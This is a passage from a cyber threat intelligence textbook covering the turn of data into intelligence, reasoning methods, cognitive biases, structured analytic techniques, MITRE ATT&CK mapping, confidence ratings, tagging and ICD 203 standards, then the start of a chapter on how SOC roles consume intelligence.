			In Chapter 1, Why You Need a Threat Intelligence Program, we examined some examples of data, information, and intelligence. Often, these terms are thrown around the information security industry, which leads to both confusion and the terms being misemployed. However, examining each term through the lens of CTI, there are distinct differences that should be examined to better understand how that data, ultimately, becomes intelligence.

			So far, the maturity from data into intelligence has been done via the processes we've covered in this book, including data collection, processing, and exploitation, as shown in the following diagram:
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			Figure 10.1 – The relationship between data, information, and intelligence

			Imagine that the vertically extended oval shapes are lenses that represent the phases of the intelligence life cycle. Also, imagine that the cone shape indicates light shining through the lenses. The light represents the corpus of data, and the diagram is representative of how empirical evidence from the operational environment shrinks and transforms as it passes through each phase of the intelligence cycle. As a reminder, let's refresh our memories as to the differences between data, information, and intelligence:

			
					Data refers to raw and inarguable facts or pieces of data. Typically, data is available in large volumes and, often, does not have context applied to it. Often, data is considered an individual observation. An example of data includes an IP address or a malicious URL.

					Information is the combination of data into a deliverable that can answer specific everyday questions. Often, information lacks context to enable tactical or strategic decision-making. Information is a collection of data. An example of information could include encrypted communications over a non-standard port to a malicious domain increasing over the past two hours. 

					Intelligence is the combination of data and information that has been processed, exploited, and analyzed to inform decision-making. Ultimately, intelligence is a decision support mechanism based on a solid understanding of current threat scenarios. An intelligence example includes a domain used as part of a new campaign that has been conducted by a threat actor group with a historical nation-state espionage focus.

			

			As previously mentioned, not all data becomes information or intelligence. The process of turning data into information and, subsequently, into intelligence is a refinement process. This is intended to reduce spurious data and information while also vetting sources and providing context throughout the process. Data only becomes information after a series of events has taken place:

			
					Data has been collected and organized in a systematic and accessible fashion.

					Data has been presented in an understandable way.

					Data answers individual questions.

			

			Once data has met those three criteria, it can progress to be considered information. At this point, the information is usable, but it's lacking context or narrative, which is what analysis and exploitation produce next – intelligence. 

			Turning information into intelligence involves adding context to the information that's been generated. For example, this can often be done via a Threat Intelligence Platform (TIP). The process of turning information into intelligence is closely analyzed in Chapter 7, Technical Threat Analysis – Enrichment, Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting, and Chapter 9, Technical Threat Analysis – Similarity Analysis. 

			Now that we've examined how data becomes intelligence, let's examine some core concepts related to CTI alongside critical thinking techniques that should be considered during the production and dissemination phase of the intelligence life cycle.

			Critical thinking and reasoning in cyber threat intelligence

			The concept of intelligence analysis and the utilization of analytic methods for the creation of analytic judgments or hypotheses was not something that was created in the cyber field. In fact, these techniques were adopted from the larger intelligence analysis community. Further, a lot of the concepts we are bringing to you come from Richards J. Heuer, Jr. who was a veteran of the Central Intelligence Agency (CIA) in the United States with over 45 years of service. His work focuses on utilizing competing hypotheses to produce intelligence and even lay out models to overcome the natural biases that impede clear thinking and analysis. In 1999, the Center for the Study of Intelligence at the CIA published his book, titled Psychology of Intelligence Analysis, which is still referenced in the academic study of intelligence analysis. This book is freely available to anyone at https://www.cia.gov/static/9a5f1162fd0932c29bfed1c030edf4ae/Pyschology-of-Intelligence-Analysis.pdf.

			Often, the ideal goal of intelligence analysis is the complete knowledge of a subject. However, this goal is rarely reached in practice. Thus, the analyst or researcher is commonly working with incomplete, ambiguous, and, often, contradictory data. Due to this congruency, it is imperative that CTI analysts exercise critical thinking and reasoning.

			Critical thinking and reasoning during the preparation and dissemination stages of the intelligence life cycle should be foundational to any analyst or researcher. Playing critical roles throughout the entire intelligence life cycle, critical thinking and logical reasoning not only improve intelligence value but also provide a standard framework to accurately analyze from. It's paramount that intelligence analysts be self-conscious about their reasoning and decision-making processes. Analysts should think about how they, ultimately, make decisions and judgments and reach specific conclusions. 

			Before we can dive deeper into gaining an understanding of the additional concepts related to an analyst's thought processes, such as analytical reasoning and analytical cognitive biases, first, we should examine what critical thinking is.

			Often, an afterthought in CTI is critical thinking, as stated by Linda Elder of the Foundation for Critical Thinking: Critical thinking is the intellectually disciplined process of actively and skillfully conceptualizing, applying, analyzing, synthesizing, and/or evaluating information gathered from, or generated by, observation, experience, reflection, reasoning, or communication, as a guide to belief and action.

			Critical thinking has two equally important goals as it pertains to intelligence analysis – concluding or decision making and improving the way an analyst reasons in the future. 

			Part of being a versatile CTI analyst involves analyzing and preparing intelligence through several types of basic reasoning techniques, which generally fall into three categories: inductive reasoning, deductive reasoning, and abductive reasoning. Let's review each of these next. 

			Inductive reasoning extracts a likely, but not definitive, intelligence conclusion or decision through specific and limited observations. The reliability of a conclusion or decision made with inductive reasoning depends on the accuracy and completeness of the analyst's observations. Inductive reasoning is the act of making generalized conclusions or decisions based on specific scenarios. 

			A couple of inductive reasoning examples include the following:

			
					Data: I saw this threat actor in my environment last week.

			

			Hypothesis: It's likely the threat actor will return next week.

			
					Data: I saw an attacker port scanning the organizational internet-connected infrastructure.

			

			Hypothesis: It's likely the threat attacker is preparing for an attack against the organizational infrastructure.

			Often, analysts employing inductive reasoning take specific observations to make general conclusions and decisions.

			Deductive reasoning is the act of backing up a decision with specific scenarios and data. With deductive reasoning, there are two intelligence-based premises that are analyzed to determine an inference or decision. These conclusions should be based on reasoning and evidence. A commonly found form of deductive reasoning is called syllogism. Syllogisms are a good way to test conclusions derived from deductive reasoning to ensure the conclusion or decision is correct.

			Let's examine an example of deductive reasoning via syllogisms:

			
					First premise: Initial access brokers utilize spear phishing.

			

			Second premise: Rob is an initial access broker.

			Conclusion: Rob leverages spear phishing to target prospective victims.

			
					First premise: Targeted attackers use custom-developed tools.

			

			Second premise: APT33 is a targeted attacker.

			Conclusion: APT33 uses custom-developed tools.

			Often, analysts using deductive reasoning take general observations and conclusions to make more specific observations and decisions.

			Abductive reasoning is often employed to generate new and unique ideas. For example, specific to threat intelligence, it could be used to generate a new hypothesis of an attack. Abductive reasoning is a form of logical inference based on a limited number of inputs or observations. Functionally speaking, abductive reasoning is an inference to the best explanation. Abductive reasoning involves determining a conclusion based on the information that is known.

			Let's examine abductive reasoning with an example, as follows:

			
					First premise: This threat intelligence originates from the United States Federal Bureau of Investigation (FBI).

			

			Second premise: This threat intelligence appears to be accurate.

			Conclusion: Most intelligence from the United States FBI is likely to be accurate.

			Often, analysts employing abductive reasoning take incomplete observations to make the best prediction or decision. 

			Now that we've looked at the importance of critical thinking in intelligence analysis, let's move on to examine another important aspect of CTI – cognitive biases. 

			Cognitive biases

			When preparing intelligence for dissemination, it's important to view all intelligence through a lens of possible cognitive biases. A cognitive bias is a systemic error in thinking. This happens when people are interpreting information and rendering decisions that, often, deviate from the perceived norm. Biases are found throughout CTI, primarily centering around subjects such as actor attribution or campaign correlation. It's important to understand the different types of biases that analysts will encounter. While this is not an exhaustive list of the cognitive biases that exist, these are commonly witnessed biases in threat intelligence as we see it.

			Confirmation bias is a common CTI bias where the analyst or researcher is seeking evidence to confirm the beliefs or theories of the analyst. It's common in CTI that an analyst will dig for an answer that they really want. For example, this is sometimes found in attribution claims, where analysts can be very overzealous when threat activity matches the tendencies exhibited by certain threat actor groups. 

			Hindsight bias is a bias that commonly manifests itself as the I told you so mentality. Hindsight bias is the tendency of an analyst to overestimate their ability to have predicted the outcome of a specific event, incident, or action. 

			Anchoring bias is a bias that causes an analyst to rely on the first piece of information received about a specific topic. Anchoring bias suggests that analysts will favor the first piece of information received regarding a subject and, therefore, create a bias. Analysts thinking with an anchoring bias use the first piece of information they receive to make an estimation, with additional adjustments being made through the lens of that initial estimation.

			Availability bias is a common bias found throughout the CTI industry. Availability bias is a type of mental shortcut analysts will make that relies on immediate examples when an analyst is evaluating a topic, concept, or decision, regardless of what information is most representative. 

			Framing effect is a bias where an individual's choice is directly influenced by the way things are worded rather than the actual information itself. A good example of this exists within product marketing. While looking for toothpaste, you choose a vendor product that kills 95% of all germs rather than one that says 5% of germs stay alive. 

			Inattention blindness is a bias in which the mind is focused on one aspect of analysis and then something unusual occurs that the mind does not immediately recognize. The main reason for inattention blindness is that your mind is beginning to limit the amount of cognitive processing it does; hence, the brain begins to focus on only those details that it believes matter. A simple example of this could be a historical movie in which the modern-day crew is accidentally exposed in a scene, but you don't notice it immediately.

			As we stated earlier, this is nowhere near a holistic list of cognitive biases that exist for threat intelligence analysts and researchers. However, these are some of the most common. As researchers and analysts, it's important to identify and recognize your own biases so that you can overcome them to improve your own analytic process. Once you have identified the biases that limit your analytic process, your understanding of the bias and the way it limits your analytic thought process will be helpful as you create your analytic judgments. Now, let's move on to discuss the foundations of analytic judgments. 

			Foundations of analytic judgments 

			In order for us to appropriately create any intelligence, we have to review the empirical data and apply one or more analytical methods during review to create an analytic judgment. An analytic judgment, which is also often referred to as the hypothesis, is a conclusion you define that is based on the underlying empirical data, your technical analysis, and your personal assumption. The two terms – analytic judgment and hypothesis – are often used interchangeably depending on the organization or audience. One or more judgments can also be used to help formulate a new hypothesis about a threat, an event, or even about a threat actor or group directly.

			We are going to introduce to you several analytical methods that Heuer commonly discussed, along with some structured analytic techniques that he popularized for the creation of analytic judgments and hypotheses. The first analytic method we will discuss is called expert judgment.

			Expert judgment

			This analytic method is, by far, the most common way that most threat intelligence is produced. Usually, it's a combination of both an individual's subject matter expertise and critical thinking skills. With expert judgment, usually, the reasoning for the analytic judgment is in the mind of the individual analyst producing the intelligence. Usually, the judgment isn't even written down until the analyst has output the draft version of the intelligence production.

			For organizations that have matured their threat intelligence staff into focused subject-matter expertise areas, this analytic method for intelligence production is not uncommon. For example, let's imagine you have a Subject-Matter Expert (SME) group that focuses on ransomware or even nation-state actors, campaigns, or malware intrusion sets. As their own personal expertise in the focus area matures, it will become very simple to review the tactics, techniques, procedures, and even indicators associated with the threat and easily articulate an immediate hypothesis about the matter. One thing to note about this form of analytical approach is that the analyst or researcher should still seek out opinions from other colleagues to let them ask questions and poke holes in the judgments. Once any assumptions or competing theories have been addressed, then the final form will make the intelligence product stronger. Most analysts and researchers who are producing intelligence with this analytic approach usually feel ownership over the work product, but individually, a single analyst can be susceptible to cognitive pitfalls or biases, as described earlier in the chapter. 

			Quantitative methods

			The quantitative analytic methods are exactly what they sound like. In this form of analytical approach, you are using a mathematics skill set to analyze collected empirical data. Usually, mathematical disciplines such as statistics, economics, and data science with machine learning are drawn upon to review a subset of known data. This can be any number of things, but good examples from the field of cyber security include log and event analyses that have been collected by endpoint systems or from firewall logs.

			The utilization of machine learning is one of the newer quantitative methodologies that has seen wide-scale adoption. Through the utilization of machine learning, a system can examine the underlying empirical data to identify patterns and teach a data model to recognize the patterns of new attacks. For organizations that have a lot of empirical data, machine learning is a great approach because the more data that is represented, the better the model can learn about the threat. If you don't have a lot of empirical data, then perhaps machine learning is not the best approach, as you'll want a complete view of the landscape for the model to best learn. This can include data from the endpoint, the network, and even the cloud.

			Structured analysis

			Structured analysis is the utilization of several step-by-step processes that can be used individually but that have a better impact when utilized as a group. Richards J. Heuer Jr. and Randolph H. Pherson lay out different structured analytic techniques that can be followed for a variety of analytic tasks and functions in their book Structured Analytic Techniques for Intelligence Analysis. This book is currently being offered by CQ Press with the following identifiers: ISBN-13 978-1506368931 and ISBN-10 150636893X.

			In their book, the duo showcases 66 structured analytic techniques broken into 9 different categories that can be used as a step-by-step process to help formulate judgments and hypotheses. The book is meant to assist organizations in producing better intelligence and research and is widely utilized throughout the intelligence community and even in the academic study of intelligence analysis.

			While you might not utilize all 66 techniques when formulating your analytic judgment, Heuer and Pherson outline several core techniques that they believe every analyst should use during the production and dissemination of threat intelligence. We will provide you with a small description of the core techniques. However, for a more comprehensive study of these techniques, we highly recommend that you acquire this book:

			
					Structured brainstorming: This is the most common technique used from the full list. Essentially, a group of SMEs reviews any relevant empirical data that is available to mind map any thoughts of exploration about the data or event. The mind map will link key concepts, ideas, and data together in a visual form to assist with critical thinking, as witnessed in the following example diagram of a high-level mindmap:
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			Figure 10.2 – An example of an early mindmap of core threat intelligence concepts

			
					Cross-impact matrix: If the structured brainstorming session is successful and the outcome produces a quality mind map, then a cross-impact matrix should be built that articulates the relationship between the key concepts, ideas, and data. Typically, a cross-impact matrix is a spreadsheet or matrix that represents the impact or probability of specific data points that are being analyzed. This will help everyone understand the impact and relationships between all of these and, essentially, create a baseline understanding for the group. An example template of a cross-impact matrix can be seen in the following table:
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					Key assumptions check: In this technique, the idea is that the analysts or researchers should separate any conclusions that have been created by examining empirical evidence from those that were created through expert judgment. Expert judgment is usually a personal assumption based on an individual's expertise. Expert judgment should be checked over by other experts in this area to ensure alignment of the conclusion – essentially, a Does this make sense? check confirmed by others. 

					Analysis of competing hypotheses: The idea around this technique is that the group should take every single hypothesis that has been created and evaluate it. The group should review all the empirical evidence that supports the hypothesis and make attempts to refute the hypothesis, leaving the hypothesis with the most evidence that supports the conclusion. The hypothesis with the least amount of evidence that refutes its position is the most likely candidate for intelligence production. 

					Premortem analysis and structured self-critique: The idea behind this technique is that the group reframes the question or problem that enables them to view the problem from another point of view. This will assist the group in defining new questions for the mind map and possibly come up with different questions about the event or the data that has been collected.

					What if?: This technique starts with the conclusion that the group's analytic judgment and hypothesis were completely inaccurate. What if something comes along and completely throws a wrench in the decision-making? Imagine if hindsight after an event changes the outcome of the intelligence analysis; how would you handle the event? This is a great way to prepare the group for an outcome in which they might be completely wrong. 

			

			As you can see, there are a few options for producing analytic judgments and hypotheses in which we believe the few that are mentioned here should be the core of any group's intelligence production. Now that we have an understanding of how our analytic judgments are produced, let's talk about the one question that is always asked when any intelligence is produced, that is, Why?

			Motives and intentions

			We actually addressed this topic once before in Chapter 2, Threat Actors, Campaigns, and Tooling. We mentioned that the first question people ask when faced with any cyber threat is why do threat actors do what they do? We presented you with the types of threat actors and their typical motivations. The preparation phase of the intelligence cycle is where you review your empirical evidence and form your hypothesis around the motivation in an attempt to classify them into an actor group.

			In Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting, we specifically had a section titled Translating IOCs into Tactics, Techniques, and Procedures (TTPs), which articulated how to align the Indicators of Compromise (IOCs) that you identify during your hunting and pivoting operations into TTPs associated with your operational investigation. One of the many vehicles that can assist you in generating any hypothesis around actor motivations and intentions is through the analysis of the IOCs that were discovered and their alignment to the TTPs. Additionally, we recommended the de facto standard that represents threat actor TTPs: the MITRE Corporation's Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) framework.

			If, during the analysis phase of the intelligence cycle, you were consistent with attempting to align your IOCs to TTPs, then at this point, you should be able to articulate the entirety of tactics observed along with the techniques and procedures used during the threat or event you are researching. To put this into some perspective, let's review the TTPs of a real-world event to put some clarity and perspective around the hypothesis generation. The following is a mapping example of common techniques employed by attackers mapped with the TTP representation of ATT&CK. These specific tactics and techniques are commonly seen across all types of cyber attacks:

			
					TACTIC: Initial access:	T1133: External remote services
	T1566.001: Spear-phishing attachment
	T1190: Exploit public-facing application
	T1078: Valid accounts



					TACTIC: Execution:	T1204.002: Malicious file
	T1059.001: PowerShell



					TACTIC: Persistence:	T1133: External remote services
	T1136.001: Local account
	T1136.002: Domain account
	T1078: Valid accounts
	T1197: BITS jobs
	T1543.002: Systemd service
	T1136: Create account



			

			The mapping of the MITRE ATT&CK technique can and is often done with the threat actors of specific incidents. Let's quickly examine an example to continue to illustrate how ATT&CK mapping can be beneficial. We're going to examine a common cybercrime threat group, FIN7, which has been responsible for a plethora of attacks since at least 2013. In the following table, let's look at FIN7's techniques and tactics when combined with MITRE ATT&CK's techniques:

			
				
					[image: ]
				

			

			As a reminder, the ATT&CK TTPs can always be referenced at https://attack.mitre.org/ if you need to review any of the ones listed or even if you wanted to see MITRE's current documentation of threat actor groups and the TTPs associated with their threat campaigns. If you review the TTPs we extrapolated from this real-world threat campaign and used as empirical evidence to formulate your judgment, you should see several indications of motivation. From our experience, we are going to assume that this is a financially motivated actor – specifically, a ransomware operator. Now, let's align some evidence to our assumption so that we can present the hypothesis with empirically supported data.

			ASSUMPTION: It is a financially-motivated actor – most likely, a ransomware operator.

			The following is some evidence that can support the preceding assumption:

			
					It appears that the initial access to the infrastructure was through a spear-phishing email received by the administrator of a corporate email infrastructure.

					The spear-phishing email delivered a malicious document for code execution and also executed PowerShell commands and scripts.

					The threat actor took time in the systems that were accessed to clean up some logging to avoid detection.

					The threat actor took the time to acquire legitimate credentials.

					The threat actor took some time to acquire documents, stage them, and then also exfiltrate this material out of the infrastructure over command-and-control. 

					Finally, the threat actor partook in the act of destroying data, encrypting data, and even performing distributed denial of service (DDoS) attacks against the attack surface of the organization.

			

			Utilizing the analytic method of expert judgment, I can say, with confidence, that these TTPs can be aligned to ransomware-based activities and, therefore, formulate the hypothesis for this intelligence. 

			HYPOTHESIS: We have high confidence that a ransomware threat actor has very likely compromised the infrastructure. During the time within the compromise window, the threat actor took the time to acquire legitimate credentials, identify documents that were exfiltrated out of the network, removed traces of their activity from normal logging systems, and then, finally, destroyed data, left it in an encrypted state, and even performed DDoS attacks.

			In this hypothesis statement, you can see that we have articulated the hypothesis, as indicated by the italicized portion, followed by supporting statements extrapolated from the empirical evidence. Saying that we used expert judgment doesn't articulate how our expertise helped us to formulate the judgment. However, a large number of these TTPs are known to be used by ransomware operators. Here are some real-world examples to help you connect the dots so to speak:

			
					Conti ransomware is known to deliver the malware intrusion set known as TrickBot. One of the TTPs that TrickBot uses is to utilize email as an initial infection vector. Usually, this is an Excel sheet that uses a malicious macro to deploy the malware.

					Conti ransomware can rapidly encrypt files and uses a different AES-256 encryption key per file with a bundled RSA-4096 public encryption key that is unique for each victim. 

					The Avaddon group and Suncrypt ransomware are known for following their attacks with DDoS attacks with the intention of bringing the organizations they are trying to extort back to the negotiation table. When negotiations resume, the threat actors cease their DDoS attacks. 

					It's commonplace for ransomware actors to gain access, exfiltrate data, make the organization's data inaccessible, ask for a ransom utilizing the threat of data release, and then, if the organization does not pay, use DDoS as a retaliation mechanism against the organization.

			

			At this point, you should be able to articulate the journey the intelligence has made from the identification of the knowledge gap through the intelligence cycle and then into the articulation of a hypothesis with supporting empirical evidence. Let's move on to discuss analytic confidence and its importance in threat intelligence production. 

			Analytic confidence

			With any intelligence production, the analyst or researcher should include any confidence rating that they have about the judgments they are presenting. Analytic confidence is a rating system that conveys an estimation probability to the stakeholder receiving the intelligence. The United States Government standard was created by the National Intelligence Council and can be adopted by most organizations.

			Usually, confidence is categorized into three criteria:

			
					High confidence: This generally indicates that the judgments are based on high-quality information, often, even from multiple sources.

					Moderate confidence: This generally indicates that the information to support the judgment is credibly sourced but might lack some admiralty or has not been corroborated sufficiently. 

					Low confidence: This generally means that the source information has low credibility or that plausibility is uncertain.

			

			If you recall our hypothesis statement from the last section, it reads as follows:

			HYPOTHESIS: We have high confidence that a ransomware threat actor has very likely compromised the infrastructure.

			Clearly, you can see how our confidence rating is incorporated directly into our judgment statement. We utilized the high confidence rating because we had multiple empirical sources that supported our conclusion.

			Further, we included likeliness keywords. This really centers around the likeliness of an event and also the confidence in the analytic judgment. In any intelligence product, attempt to produce expressions of likelihood where possible. The likeliness framework recommended by the United States Intelligence Community is as follows: 

			
					Almost no chance/remote – 1–5% 

					Very unlikely/highly improbable – 5–20%

					Unlikely/improbable – 20–45%

					Roughly even chance or odds – 45–55%

					Likely/probable – 55–80%

					Very likely/highly probable – 80–95%

					Almost or nearly certain – 95–99%

			

			Currently, analytic confidence is underrepresented in CTI. However, more and more academic organizations are focusing on it in their academic curriculums and creating cyber focuses that mix traditional intelligence science together. Currently, the leading academic research on analytic confidence can be found in Joshua Peterson's master's thesis, titled Appropriate Factors to Consider When Assessing Analytic Confidence in Intelligence Analysis. It can be downloaded from https://cdn.ymaws.com/www.scip.org/resource/resmgr/White_Papers/Peterson-Appropriate-Factors.pdf.

			Always attempt to express any uncertainties associated with the analytic judgments you are producing by utilizing a confidence rating and likeliness keywords where possible. Now, let's move on to discuss the metadata tagging of your intelligence and how it can help build a corpus of knowledge for an organization.

			Metadata tagging in threat intelligence

			Metadata tagging is an important concept throughout computer science and the information security industry. It is a keyword, label, or term that is assigned to a piece of information. Metadata tags help you to describe the piece of information that they have been tagged with. Tags are a type of metadata that is applied by users to help them retrieve that content in an organized and structured way. Tags are meant to facilitate easy location in the future by browsing or searching. Tags can commonly be determined by the analyst or be chosen from a controlled vocabulary. In many cases, tags can convey a quick snapshot of information about data, such as the following screenshot of PassiveTotal:
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			Figure 10.3 – An example of PassiveTotal tagging

			Tagging can be done in a wide variety of ways and formats, often with different terminologies in place of tagging. Additionally, tagging is supported across a very diverse set of tools in the information security industry. Some tools might refer to tags as labels or keywords, but the intention is the same – to make categorization and searching for data easier, as witnessed in the following OpenCTI screenshot:
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			Figure 10.4 – OpenCTI labels showing the capability to label an observable

			Additionally, YARA supports the concept of tagging, which is another useful feature that makes filtering on the YARA rule output easier and faster. Additionally, tags can be used for advanced functionality, such as having an additional tool trigger based on a specific tag becoming triggered after a rule match. Rule tags are defined on the same first line of a YARA rule, directly after the rule name has been defined. In the following example, the tag appears directly after the colon:

			rule Emotet : Epoch 4

			You can add as many tags as you want to a rule, provided they are alphanumeric characters, including underscores. Additionally, tags are case-sensitive and cannot start with a digit. 

			Often, what constitutes a good tag varies depending on the tools used, the purpose of the analyst employing tags, and the organizational standard for applying those tags. However, there are some good baseline standards that should be considered to ensure tags are consistent, contain some kind of value, and are easily searchable. Those standards include the following:

			
					Tag names should be relatively short.

					Tags should be named with the theme of being easily searchable.

					Tags names should be case-sensitive.

					Tags can encompass anything of value to the organization or researcher, such as actor groups, malware families, campaigns, malware execution artifacts, and more. 

					Tags should be routinely updated and refined.

					Tag logic should be reviewed for accuracy at defined intervals.

			

			Overall, tagging plays an important part throughout the intelligence life cycle, as analysts and researchers enter labels and tags to make intelligence data more easily searchable and filterable. Now that we've examined tagging and the important role it plays throughout the intelligence life cycle, let's move on to examine intelligence dissemination in greater detail. 

			Thoughts before dissemination

			The closest thing that comes to a standard for analytic tradecraft in the United States is the Intelligence Community Directive 203: Analytic Standards, which was published by the Office of the Director of National Intelligence (ODNI) on January 2, 2015. For your reference, IDC 203 can be downloaded directly from the Office of the Director of National Intelligence website at https://www.dni.gov/files/documents/ICD/ICD%20203%20Analytic%20Standards.pdf. The standards defined here are the core principles of intelligence analysis that can be applied to the entire intelligence community. This includes those analysts that focus on CTI. The document outlines a framework that guides analyses and analytical production within the United States government. However, this document is an excellent standard to adopt for any organization that is producing and disseminating threat intelligence, either cyber-related or any other focus of intelligence.

			Specifically, the document lays out five analytic standards that any practitioner should follow in order to achieve analytic rigor and excellence. Before any dissemination of intelligence, analysts and researchers should ensure that they use the guidance it outlines as the baseline assessment criteria for anything that they are producing prior to dissemination. 

			The document lays out five analytic standards and nine analytic tradecraft techniques. The five standards and techniques are listed as follows:

			
					Objective: We discussed this first standard earlier in the chapter when we began discussing creative thinking and reasoning. Any researcher or analyst who is seeking to produce intelligence should do so without any assumption or bias and with complete objectivity. As you seek to produce that analytic judgment, you should do so with complete awareness of other perspectives, hypotheses, opinions, or contrary information. Finally, don't limit yourself to any previous analytic judgments should any new information come forth; it might change the judgment and your perspective.

					Independence of politics: I think it goes without saying, but all intelligence assessments should always be produced without the influence of others. This could include your peers, other business units within your organization, or even national politics. Let the empirical data and your analytic judgment speak for themselves.

					Timely: Any produced assessment must be disseminated in time for the intelligence to be actionable by your stakeholders. There is absolutely a window of relevance that exists, which intelligence producers must fall within, in order for your intelligence to be relevant.

					All-sourced intelligence: For anything that you have produced, ensure that you always create your analytic judgment based on all available sources of intelligence that are available to you. If the information that you have at your disposal contains any data gaps, then create the intelligence requirement, work with data collection teams, and begin strategizing how to obtain the necessary information. 

					Analytic tradecraft standards: Finally, any intelligence producer should utilize the nine analytic tradecraft standards when producing intelligence. The standards defined are very specific to the United States Intelligence Community. So, we will break each of them down and discuss the applicability of each:	Always describe the quality and credibility of any underlying sources, data, and methodologies. We introduced you to the concept of admiralty ratings in Chapter 1, Why You Need a Threat Intelligence Program. Ensure that you utilize scoring systems such as these and apply them to your sources and collected data to make this process easier.
	Always express any uncertainties associated with any analytic judgments you are producing. This really centers around the likeliness of an event and also the confidence in the analytic judgment. In any intelligence product, attempt to produce expressions of likelihood.
	In addition to this degree of likelihood, the intelligence production should include a confidence rating in reference to the judgment.
	Always distinguish between intelligence that is produced and any statements that are the analyst or researcher's own assumptions and opinions. While an analytic opinion can be very useful, the judgment has a foundation in empirical data and the analytic methods used to create it.
	Always consider other hypotheses or differing opinions. The analytic judgment that is presented should consider alternative viewpoints, and they should be fully explored.
	The intelligence produced should be relevant to your stakeholder community. The intelligence production should provide the stakeholder with contextual insight that can be used to create strategies around any threats or even opportunities for the stakeholder to take action.
	Analysts and researchers should take the opportunity to explain the consistency of their judgments or any changes that occur. This is very useful if producing a recurring product, for example, a weekly or daily threat report. If your organization is mature enough that your intelligence holder has given you enough empirical data to create a ground truth, then as new evidence is collected, the intelligence product should show how it supports the consistency of the judgment or how it represents a change in the judgment. 
	Analysts and researchers should always produce the most accurate judgment possible based on the data and information available to them and also with any awareness of knowledge gaps that might impact the production of the analytic judgment. Clarity is key as the communication of the judgment should be as concise and clear as possible.
	Enlist the graphics department! When possible, try to utilize a visual aid to present your data and judgment. Most people are visual learners in the sense that if they can see it, then their interpretation of the intelligence will be adopted and interpreted faster.



			

			Some of the analytic standards that the United States Intelligence Community has produced should be taken into account and adopted as policies within your organization. Like all things, the standards presented should be interpreted for your organization, and your own verbiage and meaning should be applied to your analytic shop. 

			With these considerations in place, now it's time to disseminate your intelligence product. This has many meanings and can be something as simple as distributing the information in a report to your stakeholder group, or even automating the productization and distribution by representing your data in Structured Threat Information eXpression (STIX) and pushing it via a Trusted Automated Exchange of Intelligence Information (TAXII) server. Whoever your stakeholder groups are, the dissemination process will be different for every organization.

			Summary

			In this chapter, we discussed how the results of the collection operation, the hunting and pivoting exercises, and the results of technical analysis should be reviewed and aligned to the original knowledge gaps the organization had and interpreted into an intelligence requirement. Then, we discussed the key differences between data, information, and intelligence. We moved on to discuss critical thinking and reasoning by examining critical thinking, cognitive biases, and the foundation of analytic judgments by introducing some analytic methods. We moved on to discuss examples of determining actor motives and intentions before, finally, discussing analytic confidence and likeliness. Additionally, we talked about the metadata tagging of your intelligence to create an organization's ground truth of intelligence. We ended the chapter by talking about some analytic standards to consider before dissemination.

			In the next chapter, we will focus on how different organization stakeholders will use your intelligence, along with the unique needs they might have for the threat intelligence team as input to the intelligence process. Additionally, we will focus on how threat intelligence is consumed across these key stakeholder groups and any specific considerations that must be accounted for when sharing threat intelligence.

		

	
		
			Chapter 11: Fusion into Other Enterprise Operations

			As we begin the process of dissemination and approach the end of the intelligence life cycle, we need to put some thought into how each of our potential organizational stakeholders will consume and use the intelligence before we begin the cycle again. There are many internal stakeholders within an organization who can consume this intelligence for many different purposes. In this chapter, we will discuss how different enterprise stakeholders within an organization consume threat intelligence by examining different organization elements and determining their needs and use cases. By the end of this chapter, you will have a better understanding of how to share threat intelligence across your key stakeholder groups and be able to identify any special considerations that must be accounted for throughout the entire intelligence life cycle.

			In this chapter, we will examine the following stakeholders, as we believe that today, most enterprise organizations have some form of structure that holds the traditional responsibilities of each of the following roles:

			
					Security Operations Center (SOC)

					Incident Response (IR)

					Red and blue teams

					Threat intelligence

					Information security

					Other departments to consider

			

			SOC

			As businesses begin the transition from small- to medium-sized organizations, often, the very first thing that the organization begins to think about is the SOC. The main purpose of most SOCs within organizations is to improve the organization's security posture. Usually, this is done by creating functions to prevent, detect, and analyze cybersecurity incidents within an organization by continuously monitoring for events and working with stakeholders, such as the Information Technology (IT) department, to improve the overall security footprint of the organization.

			There are many different roles within the SOC that will, ultimately, consume threat intelligence. The following is a list of some of these key roles but not a holistic representation, as SOC implementation can differ between enterprise organizations:

			
					Chief Information Security Officer (CISO): Put simply, the CISO is the executive function that is responsible for the organization's strategy around information and data security. While their role is far-reaching outside the scope of the SOC, we've listed the position here because they are often responsible for overall security operations. This means that the SOC will usually report up through this executive.

					SOC manager: We're referencing this not as a title but as a responsibility. Often, this position is held by directors or senior managers who are responsible for directing all SOC operations. 

					Security engineer: The security engineer is responsible for the implementation of any tools and hardware that might be needed by the security operations team. Since the role of the SOC relies on heavy automation around tooling, this role is crucial to ensure that security operations have everything they need to identify, detect, and respond to incidents.

					Security analyst: As security analysts in the SOC, they have the responsibility of identifying, investigating, and remediating any potential threats to the corporate network. As part of performing this function, they usually have existing recovery plans in place for varying types of threat events. 

			

			As you can see, there are varying roles and responsibilities that are at play within the security operations of an organization. As we outline the roles of the organization, it's important to note that the consumption of threat intelligence can be both strategic and tactical within this group.

			Throughout this book, we have highlighted that threat intelligence is vetted data that has been derived from security threats, the observation of threat actors, malware intrusion sets, the exploitation of software vulnerabilities, and Indicators of Compromise (IOCs). Having the SOC utilize this data to harden the security posture of the entire organization is a primary use case for using threat intelligence tactically within any organization. Implementing data from threat intelligence teams will enable the SOC to quickly recognize and investigate indicators of attack and IOCs within the enterprise. Once identification or detection is confirmed, threat intelligence data will give the SOC the appropriate context surrounding the threat so that appropriate decision-making can occur and take the correct course of action for the team to move forward toward remediation.

			From a strategic point of view, the contextualization of the threat will allow the SOC manager to decide whether the threat event should be considered a major event for the organization or just something suspicious that would require additional investigation. Further, if considered a critical event, the contextualization of the threat intelligence will allow the executives of the organization to make strategic decisions about what the business should do regarding the threat event. This could be something as simple as a budgetary decision for additional security posture improvement or something major such as a strategic shift in the business decision-making or production.

			From a tactical point of view, SOC analysts consume threat intelligence through a variety of security applications utilized within a SOC environment, which are usually implemented by the SOC engineer. Every organization will need to make its own decisions about how its SOC is implemented and run. Tooling is a very big part of the discussion, and as such, we will highlight some of the tooling used by the SOC to consume threat intelligence. Note that we don't consider this to be a holistic list of tools that are used by all SOCs:

			
